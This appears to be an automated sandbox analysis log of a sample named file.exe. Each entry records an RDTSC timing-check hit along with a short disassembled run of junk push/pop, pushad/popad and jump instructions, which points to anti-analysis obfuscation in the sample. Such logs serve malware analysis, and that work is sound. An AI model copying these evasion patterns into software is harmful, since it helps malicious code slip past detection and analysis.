Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2B725 second address: E2B729 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2B729 second address: E2B76C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pushad 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 jmp 00007F66B1272F5Bh 0x0000001e js 00007F66B1272F56h 0x00000024 popad 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F66B1272F60h 0x0000002d pushad 0x0000002e pushad 0x0000002f popad 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2B76C second address: E2B786 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F66B07B4FB5h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2B786 second address: E2B791 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F66B1272F56h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2B8FD second address: E2B937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 jmp 00007F66B07B4FB6h 0x0000000c push edx 0x0000000d jmp 00007F66B07B4FB7h 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2BD7E second address: E2BD84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C1C8 second address: E2C1EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F66B07B4FB2h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jc 00007F66B07B4FA6h 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C36D second address: E2C3A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B1272F5Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007F66B1272F5Eh 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F66B1272F5Ch 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C3A0 second address: E2C3A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C4D1 second address: E2C4D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C4D7 second address: E2C4F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F66B07B4FAFh 0x00000009 popad 0x0000000a jng 00007F66B07B4FB2h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C4F3 second address: E2C4F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDF122 second address: DDF126 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDF126 second address: DDF12F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDF12F second address: DDF135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAE05A second address: DAE06D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B1272F5Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAE06D second address: DAE07B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F66B07B4FACh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAE07B second address: DAE083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C979 second address: E2C9A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F66B07B4FABh 0x00000009 jmp 00007F66B07B4FB8h 0x0000000e popad 0x0000000f jo 00007F66B07B4FBAh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2B197 second address: E2B19B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2B19B second address: E2B19F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2B19F second address: E2B1A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E32679 second address: E32680 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E32680 second address: E3268A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E31951 second address: E31957 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E31957 second address: E3195D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3195D second address: E31961 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFC31B second address: DFC31F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E31D4B second address: E31D5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F66B07B4FB0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E31D5F second address: E31D6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E31D6B second address: E31D89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 jmp 00007F66B07B4FB4h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E39251 second address: E3926E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B1272F5Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F66B1272F5Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3926E second address: E3928D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B07B4FB1h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F66B07B4FA6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3928D second address: E392A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B1272F62h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3F02F second address: E3F053 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F66B07B4FB4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ja 00007F66B07B4FAAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3F053 second address: E3F058 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3F058 second address: E3F05E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4498 second address: DDE574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F66B1272F56h 0x0000000a popad 0x0000000b nop 0x0000000c mov dword ptr [ebp+122D1CF0h], edx 0x00000012 call dword ptr [ebp+122D1822h] 0x00000018 jnp 00007F66B1272F82h 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4531 second address: DF454B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F66B07B4FB6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF454B second address: DF4570 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a pushad 0x0000000b jmp 00007F66B1272F68h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4619 second address: DF461F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF461F second address: DF4642 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jg 00007F66B1272F56h 0x00000011 jmp 00007F66B1272F5Eh 0x00000016 popad 0x00000017 push esi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4AFF second address: DF4B03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4C37 second address: DF4C46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B1272F5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4CEE second address: DF4D22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jnc 00007F66B07B4FA6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 push esi 0x00000012 pop esi 0x00000013 jns 00007F66B07B4FA6h 0x00000019 popad 0x0000001a jmp 00007F66B07B4FB1h 0x0000001f popad 0x00000020 mov eax, dword ptr [esp+04h] 0x00000024 push ecx 0x00000025 push esi 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4D22 second address: DF4D34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F66B1272F58h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4D34 second address: DF4D61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F66B07B4FB7h 0x00000008 jbe 00007F66B07B4FA6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4D61 second address: DF4D65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4D65 second address: DF4D6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4E25 second address: DF4E35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4E35 second address: DF4E3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4FC7 second address: DF4FCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF537A second address: DF537F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF537F second address: DF53E6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F66B1272F64h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push esi 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pop esi 0x00000014 nop 0x00000015 mov cx, bx 0x00000018 push 0000001Eh 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007F66B1272F58h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 00000017h 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 mov edx, dword ptr [ebp+122D2E9Ah] 0x0000003a nop 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F66B1272F66h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF5598 second address: DF559E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF5820 second address: DDF122 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B1272F5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b jno 00007F66B1272F74h 0x00000011 nop 0x00000012 mov dword ptr [ebp+122D1F8Eh], eax 0x00000018 call dword ptr [ebp+122D1FBFh] 0x0000001e pushad 0x0000001f jmp 00007F66B1272F5Fh 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F66B1272F65h 0x0000002b js 00007F66B1272F56h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E15B second address: E3E167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E167 second address: E3E189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F66B1272F65h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E189 second address: E3E18D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E5AB second address: E3E5CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F66B1272F68h 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007F66B1272F60h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E5CB second address: E3E5D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 js 00007F66B07B4FA6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E8CB second address: E3E8E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F66B1272F61h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4206B second address: E42071 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E42071 second address: E420A1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F66B1272F56h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F66B1272F69h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 jc 00007F66B1272F8Bh 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E420A1 second address: E420C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F66B07B4FB9h 0x00000009 jo 00007F66B07B4FA6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E43FD1 second address: E43FEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F66B1272F56h 0x0000000a jmp 00007F66B1272F61h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E43FEC second address: E43FF2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E48EDE second address: E48EE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E48603 second address: E48607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E48786 second address: E4878C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4EAC1 second address: E4EAD1 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F66B07B4FA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4EAD1 second address: E4EAD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4EAD9 second address: E4EADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4EADF second address: E4EAE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4EAE5 second address: E4EAEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4EAEA second address: E4EAFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B1272F60h 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D2FC second address: E4D30A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F66B07B4FA6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D30A second address: E4D32E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F66B1272F69h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D32E second address: E4D334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D4AF second address: E4D4B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D4B5 second address: E4D4B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D4B9 second address: E4D4BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D4BF second address: E4D4EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jng 00007F66B07B4FA6h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 jp 00007F66B07B4FA6h 0x00000019 jmp 00007F66B07B4FB5h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D4EF second address: E4D4F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D4F9 second address: E4D4FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D4FF second address: E4D50B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D682 second address: E4D686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D686 second address: E4D6B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B1272F63h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F66B1272F61h 0x00000011 jmp 00007F66B1272F5Bh 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D6B3 second address: E4D6E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F66B07B4FB6h 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 jng 00007F66B07B4FA6h 0x00000016 pop esi 0x00000017 pushad 0x00000018 jmp 00007F66B07B4FABh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D6E9 second address: E4D6F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D6F0 second address: E4D6F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D98D second address: E4D994 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
